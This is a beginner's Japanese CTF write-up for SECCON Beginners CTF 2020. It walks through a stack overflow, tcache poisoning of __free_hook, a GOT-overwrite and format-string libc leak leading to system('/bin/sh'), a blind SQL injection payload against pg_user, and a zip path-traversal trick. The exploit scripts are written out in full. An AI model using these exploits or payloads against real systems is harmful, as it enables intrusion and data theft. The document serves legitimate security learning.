今回は1週間前からPwnを初めて、Pwnだけ解くという参加方法をしました。せっかくなので、残骸を残しておきます。WriteUpとしては他の方の記事の方が優れているので、そちらを参考にして下さい。
Beginner's Stack
次のような感じで、現在のスタックを表示してくれる、かつ問題の誘導もついていました。winのアドレス0x400861を呼ぶのが目標。Inputの入力から、bufに値を流し込めるため、たくさん文字を入力すればどんどん下に文字がたまっていきます。(適切な表現ではない)
$ ./chall
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffe7911f570 | 0x0000000000000000 | <-- buf
+--------------------+
0x00007ffe7911f578 | 0x0000000000000000 |
+--------------------+
0x00007ffe7911f580 | 0x0000000000000000 |
+--------------------+
0x00007ffe7911f588 | 0x00007f1dcb402190 |
+--------------------+
0x00007ffe7911f590 | 0x00007ffe7911f5a0 | <-- saved rbp (vuln)
+--------------------+
0x00007ffe7911f598 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffe7911f5a0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffe7911f5a8 | 0x00007f1dcb224e0b | <-- return address (main)
+--------------------+
0x00007ffe7911f5b0 | 0x0000000000000000 |
+--------------------+
0x00007ffe7911f5b8 | 0x00007ffe7911f688 |
+--------------------+
Input:
このvulnのリターンアドレスの箇所にwinのアドレスを書き込めばvuln関数を抜ける時にwinに飛びました(この辺りはバイナリを読んで掴むっぽい)
しかし、RSPは0x10倍でなければlibc-2.27のsystemなどの関数が呼べないとのこと。このままで行くと末尾が0x8になるっぽかったのでだめ。どうにかスタックをずらしたい。幸いwinの先頭命令がpush rbpだった(大体rbpの退避が行われてる)ので、これを読み飛ばせばスタックがずれそう。0x400862に飛ばしました。
[*] Switching to interactive mode
[ Address ] [ Stack ]
+--------------------+
0x00007ffd8d7134a0 | 0x6161616161616161 | <-- buf
+--------------------+
0x00007ffd8d7134a8 | 0x6161616161616161 |
+--------------------+
0x00007ffd8d7134b0 | 0x6161616161616161 |
+--------------------+
0x00007ffd8d7134b8 | 0x0000000000000010 |
+--------------------+
0x00007ffd8d7134c0 | 0x00007ffd33913990 | <-- saved rbp (vuln)
+--------------------+
0x00007ffd8d7134c8 | 0x0000000000400862 | <-- return address (vuln)
+--------------------+
0x00007ffd8d7134d0 | 0x0000000000400a0a | <-- saved rbp (main)
+--------------------+
0x00007ffd8d7134d8 | 0x00007eff9ed82b97 | <-- return address (main)
+--------------------+
0x00007ffd8d7134e0 | 0x0000000000000001 |
+--------------------+
0x00007ffd8d7134e8 | 0x00007ffd8d7135b8 |
+--------------------+
Congratulations!
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$
記念に汚いコードも残して置きましょう。
from pwn import * import time r = remote('bs.quals.beginners.seccon.jp', 9001) # _=raw_input() #debug #2つ目のpackは意味ないはず r.sendlineafter(b'Input:', b'a'*24 + pack(0x10,word_size='64') + pack(0x00007ffd33913990,word_size='64')+ pack(0x400862,word_size='64')) time.sleep(1) print(r.recv(9999)) r.interactive()
Beginner's Heap
こちらも誘導付きでした。tcacheというfreeされた小さい領域がキャッシュされる場所を使ってwinを呼びます。__free_hookは解放される際に、書き込まれている関数を実行してくれるらしいので、hookにwinのアドレスを書き込むことが目標。
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)
A = malloc(0x18);
Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:
<__free_hook>: 0x7fa3a956c8e8
<win>: 0x55d661063465
Call <win> function and you'll get the flag.
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 4
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x55d66142f330
[+] B = (nil)
+--------------------+
0x000055d66142f320 | 0x0000000000000000 |
+--------------------+
0x000055d66142f328 | 0x0000000000000021 |
+--------------------+
0x000055d66142f330 | 0x0000000000000000 | <-- A
+--------------------+
0x000055d66142f338 | 0x0000000000000000 |
+--------------------+
0x000055d66142f340 | 0x0000000000000000 |
+--------------------+
0x000055d66142f348 | 0x0000000000020cc1 |
+--------------------+
0x000055d66142f350 | 0x0000000000000000 |
+--------------------+
0x000055d66142f358 | 0x0000000000000000 |
+--------------------+
0x000055d66142f360 | 0x0000000000000000 |
+--------------------+
0x000055d66142f368 | 0x0000000000000000 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Aに書き込むをすれば、オーバーフローしてBの領域に書き込めます。その上からBに値を入れてみると確かにAが溢れてます。
> 1 <-- Aに書き込み
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> 2 <--Bに書き込み
ccccccc
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x55d66142f330
[+] B = 0x55d66142f350
+--------------------+
0x000055d66142f320 | 0x0000000000000000 |
+--------------------+
0x000055d66142f328 | 0x0000000000000021 | <--Aのサイズ
+--------------------+
0x000055d66142f330 | 0x6161616161616161 | <-- A
+--------------------+
0x000055d66142f338 | 0x6161616161616161 |
+--------------------+
0x000055d66142f340 | 0x6161616161616161 |
+--------------------+
0x000055d66142f348 | 0x0000000000000021 | <--heapはリスト型になっていて、Bの書き込める領域のサイズを現してる(ヘッダ(サイズ以外にも情報を持ってる))
+--------------------+
0x000055d66142f350 | 0x0a63636363636363 | <-- B (ここからが書き込める場所)
+--------------------+
0x000055d66142f358 | 0x6161616161616161 |
+--------------------+
0x000055d66142f360 | 0x6161616161616161 | <--AがBの領域に書き込んでる
+--------------------+
0x000055d66142f368 | 0x6161616161616141 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Bをfreeすると先ほどのtcacheに繋がります。どういうことかというと、Bがあった場所がtcacheにポインタで繋がったイメージ。なので、Bの場所自体はそのままAの下に残ります。こんな感じでまたどこかのメモリが解放されると、 今度はBからそのメモリへ繋がるというように、単方向のリストになっているそう。で、ポイントなのがtcacheに繋がった時に、0x000055d66142f350の8byte分(先頭領域)は次に繋がるメモリを指す場所として使われる(fd)。
ので、
- Bを解放する
- Aで
0x000055d66142f350にhookのアドレスを書き込む
でBの次はhookが繋がる。これの何が良いかというと、次Bと同じ大きさの領域を確保する時、tcacheの先頭に繋がれたものから再利用されるらしい。てことはどうにかBを退ければ2の操作をした時にhookが返されのhookの領域に書き込める。
てなわけで、一度hookがtcacheに繋がれたら、次はBの大きさを書き換えて、tcacheに繋がれないようにすれば良い。(今回使っていたのは0x20サイズのtcacheらしい)例えばサイズを0x30とすれば、0x30専用のtcacheに回されるらしい?この後は、再び2の操作をすればhookの領域が返されてwinのアドレスを書き込めるのでok
私の汚いコードです。
from pwn import * import time r = remote('bh.quals.beginners.seccon.jp', 9002) for i in range(8): r.recvline() hook = r.recvline() # hook win = r.recvline() # win print(hook) hook = int(hook[18:-1].decode(),16) win = int(win[10:-1].decode(),16) r.sendline('4') # print for i in range(32): r.recvline() b_size = r.recvline() # B heap size b_size = int(b_size[6:18].decode(),16) r.sendline('2') # malloc B r.sendline('bbbb') time.sleep(1) r.sendline('3') # free B time.sleep(1) b_size = hook - b_size r.sendline('1') # A r.sendline(b'a'*24+ pack(0x30, word_size='64') +pack(hook, word_size='64') + pack(0x0, word_size='128') + pack(0x0, word_size='64')) time.sleep(1) r.sendline('2') # malloc B r.sendline('a') # input any time.sleep(1) r.sendline('3') # set free and tcache indicate to hook address time.sleep(1) r.sendline('2') # B indicate hook r.sendline(pack(win, word_size='64')) # write win address time.sleep(1) r.sendline('3') # free B and execute win on hook address r.interactive()
他の方のをみると文字の拾い方などが全然違うのでもっと綺麗に書ける。
Elementary Stack
これは解けなかったので復習用。参考元は作者さんです。
SECCON Beginners CTF 2020 作問者Writeup - CTFするぞ
... __attribute__((constructor)) void setup(void) { setbuf(stdout, NULL); alarm(30); } __attribute__((noreturn)) void fatal(const char *msg) { printf("[FATAL] %s\n", msg); exit(0); } long readlong(const char *msg, char *buf, int size) { printf("%s", msg); if (read(0, buf, size) <= 0) fatal("I/O error"); buf[size - 1] = 0; return atol(buf); ② } int main(void) { int i; long v; char *buffer; unsigned long x[X_NUMBER]; if ((buffer = malloc(0x20)) == NULL) fatal("Memory error"); while(1) { i = (int)readlong("index: ", buffer, 0x20); v = readlong("value: ", buffer, 0x20); printf("x[%d] = %ld\n", i, v); x[i] = v; ① } return 0; }
readlongで指定したインデックス番目にvalue値を代入する感じ。①でbufferの値を上手く書き換える。プロの方は皆x[-2]がbufferだって言っていたけれど、自分はまだ自明に見える段階に至っていないので困った。言われた後、①にbreakを挟んでスタックを見たら確かに0x10分小さい場所にあったので、long2つ分手前になる。最終的にreturn atol(buf)をreturn system("/bin/sh")みたいにさせたい。
bufferがmallocを指せば、そこに色々書き込める。

- input:
x[-2]でbufferを指すように - value: mallocを指しているアドレス
- ①でbufferがmallocを指しているアドレスを指す
- input:
0xdeadbeaf+ printfをmallocの場所に書き込む - value: printfの引数をbufに書き込む
- ②が
printf(%25p$n)として発火(リーク) - input:
deadbeaf+systemをmallocの場所に書き込む 1.value: systemの引数をbufに書き込む 1.②がsystem('/bin/sh')として発火
今回はちょっと%25のインデックスの理由まで追えてないですが、同じくこのサイトさんで解説されてるやつのなので、今度目を通して置きます。
Format String Exploitを試してみる - CTFするぞ
from pwn import * libc = ELF("./libc-2.27.so") elf = ELF("./chall") context.binary = elf #r = remote("localhost",4000) r= remote("es.quals.beginners.seccon.jp", 9003) delta = 0xe7 print(elf.symbols['got.atol']) r.sendlineafter(": ", "-2") r.sendlineafter(": ", str(elf.symbols['got.malloc'])) r.sendlineafter(": ", p64(0xdeadbeef) + p64(elf.symbols["plt.printf"])) r.sendlineafter(": ", "%25$p") libc_base = int(r.recvline(),16) - libc.symbols["__libc_start_main"] - 0xe7 libc_system = libc_base + libc.symbols["system"] r.sendlineafter(":", p64(0xdeadbeaf) + p64(libc_system)) r.sendlineafter(":", "/bin/sh") # r.sendafter(":", "/bin/sh\0") r.interactive()
Tweetstore(おまけ)
Pwnしかやらないって言ってたけどあれは嘘で、実は耐えきれなくて適当に一問解いてた。limit句の後にインジェクションする。結果がレコード数に反映される感じだったので、asciiでレコード数数えて行くのが定石っぽいんだけど、僕は脳死でwhen case。総当たりステータスコードで判断。
sql = "(SELECT (CASE WHEN ((SELECT concat(substr(usename,{index},1)) from pg_user order by usename asc limit 1) = '{flag}') THEN 2 ELSE (select 11 union select 22) END));".format(index = index, flag = char)
余談だけどもこのselect 11とかのは以前sqlmapさんがやってるのを見てそれ以来真似てこんな書き方してる。絶対もっといい方法ある
unzip(おまけ)
これは終了後見てた。zipに相対パスのファイル名を仕込むやつです。圧縮する前に相対パスに書き換える分だけ別文字でファイル名を形成しておかないと、上手くいかない。../flag.txtならaaaflag.txtにしておく。忘れそうなのでメモ。
最後に
Pwn面白かったので、時間が空いたら勉強したいです